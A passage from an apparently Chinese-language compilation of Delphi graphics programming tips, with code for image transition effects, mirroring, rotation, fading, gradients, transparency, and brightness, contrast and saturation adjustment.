form1.canvas.draw(120,100,newbmp);
end;
newbmp.free;
end;
5.百叶窗效果
原理：将放在暂存图形的数据分成若干组，然后依次从第一组到最后一组搬移，第一次每组各搬移第一条扫描线到可视位图的相应位置，第二次搬移第二条扫描线，接着搬移第三条、第四条扫描线.
程序算法：
procedure tform1.button6click(sender: tobject);
var
newbmp:tbitmap;
i,j,bmpheight,bmpwidth:integer;
xgroup,xcount:integer;
begin
newbmp:= tbitmap.create;
newbmp.width:=image1.width;
newbmp.height:=image1.height;
bmpheight:=image1.height;
bmpwidth:=image1.width;
xgroup:=16;
xcount:=bmpheight div xgroup;
for i:=0 to xcount do
for j:=0 to xgroup do
begin
newbmp.canvas.copyrect(rect
(0,xcount*j+i-1,bmpwidth,xcount*j+i),
image1.canvas,
rect(0,xcount*j+i-1,bmpwidth,xcount*j+i));
form1.canvas.draw(120,100,newbmp);
end;
newbmp.free;
end;
6.积木效果
原理：是雨滴效果的一种变化，不同之处在于，积木效果每次搬移的是一块图形，而不只是一根扫描线。
程序算法：
procedure tform1.button7click(sender: tobject);
var
newbmp:tbitmap;
i,j,bmpheight,bmpwidth:integer;
begin
newbmp:= tbitmap.create;
newbmp.width:=image1.width;
newbmp.height:=image1.height;
bmpheight:=image1.height;
bmpwidth:=image1.width;
i:=bmpheight;
while i>0 do
begin
for j:=10 to i do
begin
newbmp.canvas.copyrect(rect(0,j-10,bmpwidth,j),
image1.canvas,
rect(0,i-10,bmpwidth,i));
form1.canvas.draw(120,100,newbmp);
end;
i:=i-10;
end;
newbmp.free;
end;
结束语
上述图形显示效果均已上机通过，软件环境delphi 3.0 ，硬件环境pentium 100m兼容机。使用效果很好。


图象移动技巧

不必保存背景, 一样不破坏.
type
TForm1 = class(TForm)
Button1: TButton;
Timer1: TTimer;
procedure Button1Click(Sender: TObject);
procedure
FormClose(Sender: TObject; var Action: TCloseAction);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public
declarations }
end;

var
Form1: TForm1;
MyIcon: TIcon;
x, y: Integer;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
begin
MyIcon :=
TIcon.Create;
MyIcon.LoadFromFile('C:\Program Files\Common
Files\Borland Shared\Images\Icons\Factory.ico');
x := 0;
y
:= 50;
canvas.Draw(x, y, MyIcon);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if assigned(MyIcon) then
MyIcon.Free;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
if assigned(MyIcon) then begin
RedrawWindow(handle, nil, 0, RDW_ERASE or RDW_INVALIDATE or RDW_ERASENOW or RDW_ALLCHILDREN);
inc(x, 4);
canvas.draw(x, y, MyIcon);
end;
end;

end.


图像镜像

procedure spiegel_horizontal(Quelle, Ziel: TBitMap);
begin
Ziel.Assign(nil);
Ziel.width:=Quelle.width;
Ziel.height:=Quelle.height;
StretchBlt(Ziel.canvas.handle,0,0,Ziel.width,Ziel.height,Quelle.canvas.handle,0,Quelle.height,Quelle.width,-Quelle.height,srccopy);

end;

procedure spiegel_vertikal(Quelle, Ziel: TBitMap);
begin
Ziel.Assign(nil);
Ziel.width:=Quelle.width;
Ziel.height:=Quelle.height;
StretchBlt(Ziel.canvas.handle,0,0,Ziel.width,Ziel.height,Quelle.canvas.handle,Quelle.width,0,-Quelle.width,Quelle.height,srccopy);

end;

procedure TForm1.Button1Click(Sender: TObject);
var
temp: TBitMap;
begin
temp:=TBitMap.Create;
temp.Assign(Image1.Picture.BitMap);
spiegel_vertikal(Temp,Image1.Picture.Bitmap);
Temp.Free;
end;


基于图像漫游

 在开发多媒体应用中,经常会遇到需要在有限区域内显示大图像
的情况,有不少文章对此提出过解决方法,如通过调用Windows的API函
数,直接读写内存等。这些方法有某些优点,但实现起来较为复杂,且
易出错。笔者在实践中通过仔细摸索,利用Delphi的强大的面向对象
可视化开发环境开发了一种交互式图像漫游方法。
Delphi中,鼠标的消息响应是通过元件的OnMouseDown、OnMouseU
p和OnMouseMove事件实现的,通过对此三个事件编程,可控制图像在有
限区域内移动。考虑到所移动的图像的边界应总在该区域外,因此图
像的左上角坐标应小于该区域对应坐标,图像右下角坐标应大于该区
域对应坐标(除非图像大小比该区域小)。图1
具体方法是:
1、新建一工程Project1,在Form1中依次放入Panel1、Panel2和I
mage1元件,注意Pa nel2和Image1分别在Panel1和Panel2上,再将一La
bel1元件加入Panel2中,调整Panel1尺寸为适当大小,并修改各元件属
性为:
元件
属性名
属性值
Panel1
BevelInner:
bvRaised
BevelOuter: bvNone
BorderStyle: bsSingle
Panel2
Align:
alClient
Image1
AutoSize:
True
Picture:
"Apple.bmp"
Label1
Align:
alClient
Transparent : True
注意:此处Label1的作用不是显示字符,而是利用它响应鼠标消息
,如果不用Label1而直接利用Image1的鼠标事件响应,则会由于其OnMo
useDown事件的激活与Image1的自身坐标移动事件冲突而使图像发生
闪烁甚至不能移动。
2、在implementation后加入变量声明:
origin:Tpoint;
image_left:integer;
image_top:integer;
visa1:Tpoint; (鼠标当前位置相对图像右下角的坐标)
visa2:Tpoint; (鼠标当前位置相对图像左上角的坐标)
canmove:boolean;
编写Label1鼠标响应事件:
procedure TForm1.Label1MouseDown(Sender: TObject; Button
: TMouseButton;S hift: TShiftState; X, Y: Integer);
begin
if Button=mbLeft then
begin
origin.x:=X;
origin.y:=Y;
image_left:=image1.left;
image_top:=image1.top;
visa1.x:=X-(image1.width-panel2.width+image1.left);
visa1.y:=Y-(image1.height-panel2.height+image1.top);
visa2.x:=X-image1.left;
visa2.y:=Y-image1.top;
canmove:=true;
end;
end;
procedure TForm1.Label1MouseMove(Sender: TObject; Shift:
TShiftState; X, Y: Integer);
begin
if canmove then
begin
if X< visa1.x then X:=visa1.x;
if X>visa2.x then X:=visa2.x;
if Y< visa1.y then Y:=visa1.y;
if Y>visa2.y then Y:=visa2.y;
image1.left:=image_left+(X-origin.x);
image1.top:=image_top+(Y-origin.y);
end;
end;
procedure TForm1.Label1MouseUp(Sender: TObject; Button:
TMouseButton;Shi ft: TShiftState; X, Y: Integer);
begin
canmove:=false;
end;


旋转位图

Here's code to rotate a bitmap 90 degrees

From: Dave Shapiro <daves@cyber-fx.com>
Counterclockwise, that is. This rotates a 640x480 24-bit bitmap 90 degrees in about 2/10 of sec on my P133 (4MB video card, 128MB RAM). It works for Delphi 2, and should work for 1 and 3, too.

One thing: This does not work for bitmaps that aren't an integral number of colors per pixel. If that's the case, you'll have to do some bit twiddling. I'm working on that part right now (I need it too), but it'll be a few days. Anyways, suggestions, comments, etc., always welcome.

Special thanks to David Ullrich (ooh, I hope I spelled that correctly) for pointing out the non-published-but-public-anyway SaveToStream method for the TBitmap class.

Advance apologies for any formatting problems. Netscape's editor is so ridiculously crippled that I can't accomplish anything (give me rtin and vim any day).

--------------------------------------------------------------------------------

procedure RotateBitmap90Degrees(ABitmap: TBitmap);

const
BITMAP_HEADER_SIZE = SizeOf(TBitmapFileHeader) +
SizeOf(TBitmapInfoHeader);

var
{ Things that end in R are for the rotated image. }
PbmpInfoR: PBitmapInfoHeader;
bmpBuffer, bmpBufferR: PByte;
MemoryStream, MemoryStreamR: TMemoryStream;
PbmpBuffer, PbmpBufferR:
PByte;
PbmpBufferRFirstScanLine, PbmpBufferColumnZero:
PByte;
BytesPerPixel, BytesPerScanLine, BytesPerScanLineR:
Integer;
X, Y, T: Integer;

begin
{
Don't *ever* call GetDIBSizes! It screws up your bitmap.
I'll be posting about that shortly.
}

MemoryStream := TMemoryStream.Create;

{
To do: Put in a SetSize, which will eliminate any reallocation
overhead.
}

ABitmap.SaveToStream(MemoryStream);

{
Don't need you anymore. We'll make a new one when the time comes.
}
ABitmap.Free;

bmpBuffer := MemoryStream.Memory;

{ Set PbmpInfoR to point to the source bitmap's info header. }
{ Boy, these headers are getting annoying. }
Inc( bmpBuffer, SizeOf(TBitmapFileHeader) );
PbmpInfoR := PBitmapInfoHeader(bmpBuffer);

{ Set bmpBuffer to point to the original bitmap bits. }
Inc(bmpBuffer, SizeOf(PbmpInfoR^));
{ Set the ColumnZero pointer to point to, uh, column zero. }
PbmpBufferColumnZero := bmpBuffer;

  with PbmpInfoR^ do
begin
BytesPerPixel
:= biBitCount shr 3;
{ ScanLines are DWORD aligned.
}
BytesPerScanLine := ((((biWidth * biBitCount) + 31) div
32) * SizeOf(DWORD));
BytesPerScanLineR := ((((biHeight *
biBitCount) + 31) div 32) * SizeOf(DWORD));

{ The TMemoryStream that will hold the rotated bits. }
MemoryStreamR := TMemoryStream.Create;
{
Set size for rotated bitmap. Might be different from source size
due to DWORD aligning.
}
MemoryStreamR.SetSize(BITMAP_HEADER_SIZE + BytesPerScanLineR * biWidth);
end;

{ Copy the headers from the source bitmap. }
MemoryStream.Seek(0, soFromBeginning);
MemoryStreamR.CopyFrom(MemoryStream, BITMAP_HEADER_SIZE);

{ Here's the buffer we're going to rotate. }
bmpBufferR := MemoryStreamR.Memory;
{ Skip the headers, yadda yadda yadda... }
Inc(bmpBufferR, BITMAP_HEADER_SIZE);

{
Set up PbmpBufferRFirstScanLine and advance it to end of the first scan
line of bmpBufferR.
}
PbmpBufferRFirstScanLine := bmpBufferR;
Inc(PbmpBufferRFirstScanLine, (PbmpInfoR^.biHeight - 1) * BytesPerPixel);

{ Here's the meat. Loop through the pixels and rotate appropriately. }

{ Remember that DIBs have their origins opposite from DDBs. }
for Y := 1 to PbmpInfoR^.biHeight do
begin
PbmpBuffer := PbmpBufferColumnZero;
PbmpBufferR := PbmpBufferRFirstScanLine;

    for X := 1 to PbmpInfoR^.biWidth do
begin
for T := 1 to BytesPerPixel
do
begin
PbmpBufferR^ :=
PbmpBuffer^;
Inc(PbmpBufferR);
Inc(PbmpBuffer);
end;
Dec(PbmpBufferR,
BytesPerPixel);
Inc(PbmpBufferR,
BytesPerScanLineR);
end;

Inc(PbmpBufferColumnZero, BytesPerScanLine);
Dec(PbmpBufferRFirstScanLine, BytesPerPixel);
end;

{ Done with the source bits. }
MemoryStream.Free;

{ Now set PbmpInfoR to point to the rotated bitmap's info header. }
PbmpBufferR := MemoryStreamR.Memory;
Inc( PbmpBufferR, SizeOf(TBitmapFileHeader) );
PbmpInfoR := PBitmapInfoHeader(PbmpBufferR);

{ Swap the width and height of the rotated bitmap's info header. }
with PbmpInfoR^ do
begin
T := biHeight;
biHeight := biWidth;
biWidth := T;
end;

ABitmap := TBitmap.Create;

{ Spin back to the very beginning. }
MemoryStreamR.Seek(0, soFromBeginning);
ABitmap.LoadFromStream(MemoryStreamR);

MemoryStreamR.Free;
end;


图片间淡入淡出

只能将两副画分成16部进行淡出
DHd为目标图的handle,SHd为源图的handle，其他为坐标

procedure  Fade(DHd,x,y,width,height,SHd,Sx,Sy:integer);
type
ByteArray=array[0..0] of Byte;
SIntArray=Array[0..0]
of SmallInt;
var Count,i,step : Integer;
DImg  :
TBitmap;
PDbit,PSbit : ^byteArray;
PDif :
^SIntArray;
begin
DImg:=TBitmap.Create;
Count:=Height*Width*3;
DImg.PixelFormat:=pf24bit;
DIMg.Width:=Width;
DImg.Height:=Height;
GetMem(PSbit,Count);
GetMem(PDbit,Count);
GetMem(PDif,Count*2);
BitBlt(DImg.Canvas.Handle,0,0,Width,Height,DHD,x,y,SRCCOPY);
Getbitmapbits(DImg.Handle,Count,PDBit);
BitBlt(DImg.Canvas.Handle,0,0,Width,Height,SHD,Sx,Sy,SRCCOPY);
Getbitmapbits(DImg.Handle,Count,PSBit);
For
i:=0 to Count-1 do
PDif^[i]:=(PSbit^[i]-PDbit^[i]);
for
Step:=1 to 15 do
begin
For i:=0 to Count-1
do
PSbit^[i]:=PDbit^[i]+(Pdif^[i]*Step) shr
4;
SetBitmapBits(DImg.handle,Count,PSbit);
BitBlt(DHD,x,y,Width,Height,DImg.Canvas.Handle,0,0,SRCCOPY);
sleep(100);
End;
BitBlt(DHD,x,y,Width,Height,SHD,SX,SY,SRCCOPY);
FreeMem(PDif,Count*2);
FreeMem(PSBit,Count);
FreeMem(PDBit,Count);
DImg.Free;
end;


画过渡色

procedure PaintRainbow(Dc : hDc; {Canvas to paint to}
x : integer; {Start position X}
y : integer; {Start position Y}
Width : integer; {Width of the rainbow}
Height : integer {Height of the rainbow};
bVertical : bool; {Paint verticallty}
WrapToRed : bool); {Wrap spectrum back to red}
var
i : integer;
ColorChunk : integer;
OldBrush : hBrush;
OldPen : hPen;
r : integer;
g : integer;
b : integer;
Chunks : integer;
ChunksMinus1 : integer;
pt : TPoint;
begin
OffsetViewportOrgEx(Dc,
x,
y,
pt);

  if WrapToRed = false then
Chunks := 5
else
Chunks := 6;
ChunksMinus1 := Chunks -
1;

if bVertical = false then
ColorChunk := Width div Chunks else
ColorChunk := Height div Chunks;

 {Red To Yellow}
r := 255;
b := 0;
for i
:= 0 to ColorChunk do begin
g:= (255 div ColorChunk) *
i;
OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g,
b)));
if bVertical = false
then
PatBlt(Dc, i, 0, 1, Height, PatCopy)
else
PatBlt(Dc, 0, i, Width, 1,
PatCopy);
DeleteObject(SelectObject(Dc,
OldBrush));
end;

{Yellow To Green}
g:=255;
b:=0;
for i := ColorChunk to (ColorChunk * 2) do begin
r := 255 - (255 div ColorChunk) * (i - ColorChunk);
OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));
if bVertical = false then
PatBlt(Dc, i, 0, 1, Height, PatCopy) else
PatBlt(Dc, 0, i, Width, 1, PatCopy);
DeleteObject(SelectObject(Dc, OldBrush));
end;

{Green To Cyan}
r:=0;
g:=255;
for i:= (ColorChunk * 2) to (ColorChunk * 3) do begin
b := (255 div ColorChunk)*(i - ColorChunk * 2);
OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));
if bVertical = false then
PatBlt(Dc, i, 0, 1, Height, PatCopy) else
PatBlt(Dc, 0, i, Width, 1, PatCopy);
DeleteObject(SelectObject(Dc,OldBrush));
end;

{Cyan To Blue}
r := 0;
b := 255;
for i:= (ColorChunk * 3) to (ColorChunk * 4) do begin
g := 255 - ((255 div ColorChunk) * (i - ColorChunk * 3));
OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));
if bVertical = false then
PatBlt(Dc, i, 0, 1, Height, PatCopy) else
PatBlt(Dc, 0, i, Width, 1, PatCopy);
DeleteObject(SelectObject(Dc, OldBrush));
end;

{Blue To Magenta}
g := 0;
b := 255;
for i:= (ColorChunk * 4) to (ColorChunk * 5) do begin
r := (255 div ColorChunk) * (i - ColorChunk * 4);
OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));
if bVertical = false then
PatBlt(Dc, i, 0, 1, Height, PatCopy) else
PatBlt(Dc, 0, i, Width, 1, PatCopy);
DeleteObject(SelectObject(Dc, OldBrush))
end;

if WrapToRed <> false then begin
{Magenta To Red}
r := 255;
g := 0;
for i := (ColorChunk * 5) to ((ColorChunk * 6) - 1) do begin
b := 255 -((255 div ColorChunk) * (i - ColorChunk * 5));
OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r,g,b)));
if bVertical = false then
PatBlt(Dc, i, 0, 1, Height, PatCopy) else
PatBlt(Dc, 0, i, Width, 1, PatCopy);
DeleteObject(SelectObject(Dc,OldBrush));
end;
end;

{Fill Remainder}
if (Width - (ColorChunk * Chunks) - 1 ) > 0 then begin
if WrapToRed <> false then begin
r := 255;
g := 0;
b := 0;
end else begin
r := 255;
g := 0;
b := 255;
end;
OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));
if bVertical = false then
PatBlt(Dc,
ColorChunk * Chunks,
0,
Width - (ColorChunk * Chunks),
Height,
PatCopy) else
PatBlt(Dc,
0,
ColorChunk * Chunks,
Width,
Height - (ColorChunk * Chunks),
PatCopy);
DeleteObject(SelectObject(Dc,OldBrush));
end;
OffsetViewportOrgEx(Dc,
Pt.x,
Pt.y,
pt);
end;

function ColorAtRainbowPoint(ColorPlace : integer;
RainbowWidth : integer;
WrapToRed : bool) : TColorRef;
var
ColorChunk : integer;
ColorChunkIndex : integer;
ColorChunkStart : integer;
begin
if ColorPlace = 0 then begin
result := RGB(255, 0, 0);
exit;
end;
{WhatChunk}
if WrapToRed <> false then
ColorChunk := RainbowWidth div 6 else
ColorChunk := RainbowWidth div 5;
ColorChunkStart := ColorPlace div ColorChunk;
ColorChunkIndex := ColorPlace mod ColorChunk;
case ColorChunkStart of
0 : result := RGB(255,
(255 div ColorChunk) * ColorChunkIndex,
0);
1 : result := RGB(255 - (255 div ColorChunk) * ColorChunkIndex,
255,
0);
2 : result := RGB(0, 255, (255 div ColorChunk) * ColorChunkIndex);
3 : result := RGB(0,
255 - (255 div ColorChunk) * ColorChunkIndex,
255);
4 : result := RGB((255 div ColorChunk) * ColorChunkIndex,
0,
255);
5 : result := RGB(255,
0,
255 - (255 div ColorChunk) * ColorChunkIndex);
else
if WrapToRed <> false then
result := RGB(255, 0, 0) else
result := RGB(255, 0, 255);
end;{Case}
end;

procedure TForm1.FormPaint(Sender: TObject);
begin
PaintRainbow(Form1.Canvas.Handle,
0,
0,
Form1.ClientWidth,
Form1.ClientHeight,
false,
true);

end;

procedure TForm1.FormResize(Sender: TObject);
begin
InvalidateRect(Form1.Handle, nil, false);
end;

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
var
Color : TColorRef;
begin
Color := ColorAtRainbowPoint(y,
Form1.ClientWidth,
true);
ShowMessage(IntToStr(GetRValue(Color)) + #32 +
IntToStr(GetGValue(Color)) + #32 +
IntToStr(GetBValue(Color)));
end;


色彩的灰度转化

function RgbToGray(RGBColor : TColor) : TColor;
var
Gray : byte;
begin
Gray := Round((0.30 * GetRValue(RGBColor)) +
(0.59 * GetGValue(RGBColor)) +
(0.11 * GetBValue(RGBColor )));
Result := RGB(Gray, Gray, Gray);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Shape1.Brush.Color := RGB(255, 64, 64);
Shape2.Brush.Color := RgbToGray(Shape1.Brush.Color);
end;


透明的图象画刷

The following unit draws two bitmaps on a form. One is used
as the background, and the second one as the foreground. The
foreground bitmap is displayed as a "transparent" bitmap.

Read the comments for a complete (well sort of) explanation.

{ Purpose: Display a transparent bitmap loaded from a file
Author: Michael Vincze (vincze@ti.com)
Date: 04/20/95
Usage: Create a blank form, named Form1, compile and run.
Limits: This unit has been tested for both 16 and 256 color bitmaps.
It is assumed that the lower left pixel of the bitmap represents
the transparent color.
Notes: If this file is to be used for any purpose please leave
this header intact and give credit to the author if used for
any purpose.
Please contact the author if any improvements are made.
The author stakes no claim for this programs usefullness
or purpose.
Version: 1.00 04/20/95 Initial creation
}
unit Tbmpu;

interface

uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, ExtCtrls;

type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
ImageForeGround: TImage;
ImageBackGround: TImage;
public
{ Public declarations }
end;

procedure DrawTransparentBitmap (ahdc: HDC;
Image: TImage;
xStart, yStart: Word);

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure DrawTransparentBitmap (ahdc: HDC;
Image: TImage;
xStart, yStart: Word);
var
TransparentColor: TColor;
cColor : TColorRef;
bmAndBack,
bmAndObject,
bmAndMem,
bmSave,
bmBackOld,
bmObjectOld,
bmMemOld,
bmSaveOld : HBitmap;
hdcMem,
hdcBack,
hdcObject,
hdcTemp,
hdcSave : HDC;
ptSize : TPoint;
begin
{ set the transparent color to be the lower left pixel of the bitmap
}
TransparentColor := Image.Picture.Bitmap.Canvas.Pixels[0,
Image.Height - 1];
TransparentColor := TransparentColor or $02000000;

hdcTemp := CreateCompatibleDC (ahdc);
SelectObject (hdcTemp, Image.Picture.Bitmap.Handle); { select the bitmap }

{ convert bitmap dimensions from device to logical points
}
ptSize.x :=
Image.Width;
ptSize.y := Image.Height;
DPtoLP (hdcTemp, ptSize, 1);
{ convert from device logical points }

{ create some DCs to hold temporary data
}
hdcBack := CreateCompatibleDC(ahdc);
hdcObject := CreateCompatibleDC(ahdc);
hdcMem := CreateCompatibleDC(ahdc);
hdcSave := CreateCompatibleDC(ahdc);

{ create a bitmap for each DC
}

{ monochrome DC
}
bmAndBack   := CreateBitmap (ptSize.x,
ptSize.y, 1, 1, nil);
bmAndObject := CreateBitmap (ptSize.x, ptSize.y, 1, 1,
nil);

bmAndMem    := CreateCompatibleBitmap (ahdc, ptSize.x,
ptSize.y);
bmSave      := CreateCompatibleBitmap
(ahdc, ptSize.x, ptSize.y);

{ each DC must select a bitmap object to store pixel
data
}
bmBackOld   := SelectObject (hdcBack,
bmAndBack);
bmObjectOld := SelectObject (hdcObject,
bmAndObject);
bmMemOld    := SelectObject (hdcMem,
bmAndMem);
bmSaveOld   := SelectObject (hdcSave, bmSave);

{ set proper mapping mode
}
SetMapMode (hdcTemp, GetMapMode (ahdc));

{ save the bitmap sent here, because it will be overwritten
}
BitBlt (hdcSave, 0, 0, ptSize.x, ptSize.y, hdcTemp, 0, 0, SRCCOPY);

{ set the background color of the source DC to the color.
contained in the parts of the bitmap that should be transparent
}
cColor := SetBkColor (hdcTemp, TransparentColor);

{ create the object mask for the bitmap by performing a BitBlt()
from the source bitmap to a monochrome bitmap
}
BitBlt (hdcObject, 0, 0, ptSize.x, ptSize.y, hdcTemp, 0, 0, SRCCOPY);

{ set the background color of the source DC back to the original color
}
SetBkColor (hdcTemp, cColor);

{ create the inverse of the object mask
}
BitBlt (hdcBack, 0, 0, ptSize.x, ptSize.y, hdcObject, 0, 0, NOTSRCCOPY);

{ copy the background of the main DC to the destination
}
BitBlt (hdcMem, 0, 0, ptSize.x, ptSize.y, ahdc, xStart, yStart, SRCCOPY);

{ mask out the places where the bitmap will be placed
}
BitBlt (hdcMem, 0, 0, ptSize.x, ptSize.y, hdcObject, 0, 0, SRCAND);

{ mask out the transparent colored pixels on the bitmap
}
BitBlt (hdcTemp, 0, 0, ptSize.x, ptSize.y, hdcBack, 0, 0, SRCAND);

{ XOR the bitmap with the background on the destination DC
}
BitBlt (hdcMem, 0, 0, ptSize.x, ptSize.y, hdcTemp, 0, 0, SRCPAINT);

{ copy the destination to the screen
}
BitBlt (ahdc, xStart, yStart, ptSize.x, ptSize.y, hdcMem, 0, 0, SRCCOPY);

{ place the original bitmap back into the bitmap sent here
}
BitBlt (hdcTemp, 0, 0, ptSize.x, ptSize.y, hdcSave, 0, 0, SRCCOPY);

{ delete the memory bitmaps
}
DeleteObject (SelectObject (hdcBack, bmBackOld));
DeleteObject (SelectObject (hdcObject, bmObjectOld));
DeleteObject (SelectObject (hdcMem, bmMemOld));
DeleteObject (SelectObject (hdcSave, bmSaveOld));

{ delete the memory DCs
}
DeleteDC (hdcMem);
DeleteDC
(hdcBack);
DeleteDC (hdcObject);
DeleteDC (hdcSave);
DeleteDC
(hdcTemp);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
{ create image controls for two bitmaps and set their parents
}
ImageForeGround := TImage.Create (Form1);
ImageForeGround.Parent := Form1;
ImageBackGround := TImage.Create (Form1);
ImageBackGround.Parent := Form1;

{ load images
}
ImageBackGround.Picture.LoadFromFile ('c:\delphi\images\splash\16color\earth.bmp');
ImageForeGround.Picture.LoadFromFile ('c:\delphi\images\splash\16color\athena.bmp');

{ set background image size to its bitmap dimensions
}
with ImageBackGround do
begin
Left := 0;
Top := 0;
Width := Picture.Width;
Height := Picture.Height;
end;

{ set the foreground image size centered in the background image
}
with ImageForeGround do
begin
Left := (ImageBackGround.Picture.Width - Picture.Width) div 2;
Top := (ImageBackGround.Picture.Height - Picture.Height) div 2;
Width := Picture.Width;
Height := Picture.Height;
end;

{ do not show the transparent bitmap as it will be displayed (BitBlt()ed)
by the DrawTransparentBitmap() function
}
ImageForeGround.Visible := False;

{ draw the tranparent bitmap
note how the DC of the foreground is used in the function below
}
DrawTransparentBitmap (ImageBackGround.Picture.Bitmap.Canvas.Handle, {HDC}
ImageForeGround, {TImage}
ImageForeGround.Left, {X}
ImageForeGround.Top {Y} );
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
{ free images
}
ImageForeGround.Free;
ImageBackGround.Free;
end;

end.


改变图象的对比度、亮度、饱和度

// Bitmap.ScanLine[X] 可以获取图像象素的内存地址,24Bits的Bitmap的每一象
//
素是以三原色RGB的次序存放的,改变RGB的值就可调节Bitmap的色彩.
// R, G, B: -255~255
procedure
RGB(var Bmp: TBitmap; R, G, B: Integer);
var
X, Y:
Integer;
I: Byte;
ColorTable: array[0..255] of
TRGBColor;
pRGB: PRGBColor;
begin
for I := 0 to 255
do
begin
ColorTable[I].R := Byte(I +
R);
ColorTable[I].G := Byte(I + G);
ColorTable[I].B := Byte(I + B);
end;

  for Y := 0 to Bmp.Height - 1 do
begin
pRGB := Bmp.ScanLine[Y];
for X := 0 to Bmp.Width - 1
do
begin
pRGB.R :=
ColorTable[pRGB.R].R;
pRGB.G :=
ColorTable[pRGB.G].G;
pRGB.B :=
ColorTable[pRGB.B].B;
end;
Inc(pRGB);
end;
end;

// 改变图像的亮度,也只需调用RGB(Bmp, X, X, X)改变三原色.
// 调节Bitmap的对比度
// 应用公式: 新颜色值 =
(旧颜色值 - 128) * 系数 + 128
procedure Contrast(var Bmp: TBitmap; Amount:
Integer);
// Amount: -255~255
var
X, Y: Integer;
I:
Byte;
ColorTable: array[0..255] of TRGBColor;
pRGB:
PRGBColor;
begin
for I := 0 to 126 do
begin
Y := (Abs(128 - I) * Amount) div
256;
ColorTable[I].r := GetRValue(Byte(I -
Y));
ColorTable[I].g := GetGValue(Byte(I -
Y));
ColorTable[I].b := GetBValue(Byte(I - Y));
end;
for I := 127 to 255 do
begin
Y :=
(Abs(128 - I) * Amount) div 256;
ColorTable[I].r :=
GetRValue(Byte(I + Y));
ColorTable[I].g :=
GetGValue(Byte(I + Y));
ColorTable[I].b :=
GetBValue(Byte(I + Y));
end;
for Y := 0 to Bmp.Height - 1
do
begin
pRGB :=
Bmp.ScanLine[Y];
for X := 0 to Bmp.Width - 1
do
begin
pRGB.R :=
ColorTable[pRGB.R].R;
pRGB.G :=
ColorTable[pRGB.G].G;
pRGB.B := ColorTable[pRGB.B].B;
Inc(pRGB);
end;
end;
end;

// 改变饱和度
procedure Saturation(var Bmp: TBitmap; Amount: Integer); //
Amount: 0~510
var
Grays: array[0..767] of Integer;
Alpha:
array[0..255] of Word;
Gray, X, Y: Integer;
pRGB:
PRGBColor;
I: Byte;
begin
for I := 0 to 255 do Alpha[I]
:= (I * Amount) shr 8;
x := 0;
for I := 0 to 255 do
begin
Gray := I -
Alpha[I];
Grays[X] := Gray; Inc(X);
Grays[X] := Gray; Inc(X);
Grays[X] := Gray;
Inc(X);
end;
for Y := 0 to Bmp.Height - 1 do
begin
pRGB := Bmp.ScanLine[Y];
for X
:= 0 to Bmp.Width - 1 do
begin
Gray := Grays[pRGB.R + pRGB.G +
pRGB.B];
pRGB.R := Byte(Gray +
Alpha[pRGB.R]);
pRGB.G := Byte(Gray +
Alpha[pRGB.G]);
pRGB.B := Byte(Gray +
Alpha[pRGB.B]);
Inc(pRGB);
end;
end;
end;

//对于Jpg的处理,与Bitmap类似,因为TJpegImage内部有TBitmap.

//Bmp := TBitmap.Create;
//Bmp.Assign(Jpg);

procedure TForm1.FormCreate(Sender: TObject);
begin
bmp :=
TBitmap.Create;
bmp.Assign(image1.Picture.Graphic);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
RGB(Bmp,
StrToInt(edit1.text),StrToInt(edit2.text),StrToInt(edit3.text));
image1.Picture.Graphic.Assign(bmp);
image1.Refresh;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
Contrast(Bmp, strtoint(edit1.text));
image1.Picture.Graphic.Assign(bmp);
image1.Refresh;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
Saturation(Bmp, strtoint(edit1.text));
image1.Picture.Graphic.Assign(bmp);
image1.Refresh;
end;


改变图片效果

 想不想另图片有另一番效果，使用下列语句实现吧，增加两个Timage图片框，分别为Image1、Image2，用Image1引入一张图片，按下按钮就可以在Image2上出现惊人的效果
procedure TForm1.Button1Click(Sender: Tobject);
begin
Image2.Canvas.Brush.Style := bsCross;
Image2.Canvas.CopyMode := cmMergeCopy;
Image2.Canvas.Draw(0,0, Image1.Picture.Graphic);
end;


界面色彩渐变效果的实现

    界面色彩渐变效果是通过用渐变的画刷刷绘依次相邻的矩形块实现的。下面列举实例说明:
1.新建一个表单,假设其Width为500,设置一个按钮Button1,按此按钮将把表单置为由左向右由黄变白的渐变效果。
2.Button1按钮的代码如下:
procedure
TForm1.Button1Click(Sender: TObject);
var
i,j:Integer;
Dct:TRect;
begin
j:=Form1.height;
//获得表单高度
for i:=0 to 255 do
//此处设置RGB()中一个颜色值
begin
Canvas.Brush.Color:=RGB(255,255,i);
//每次画矩形的画刷颜色
Dct:=Rect(i＊2,0,(i＋1)＊2,j);
//每次刷绘的矩形区域

    Canvas.FillRect(Dct);
    //填充颜色
    end;
    end;


消隐效果

unit Bmp-Disaper;
interface
uses
SysUtils,WinTypes,WinProcs,Messages,Classes,Graphics,Controls,Forms,Dialogs,Ex
tCtrls,StdCtrls;
type
TForm1=class(TForm)
Image1:TImage;{显示渐隐图像}
Timer1:TTimer;{时钟构件}
Panel1:TPanel;{显示渐隐过程，已渐隐为背景色的颜色数}
Button1:TButton;{开始渐隐按钮}
procedure Timer1 Timer(Sender:TObject);{始终控制过程}
procedure Button1 Click (Sender:TObject);{激发渐隐过程}
procedure FormCreate (Sender:TObject);{窗体构造过程}
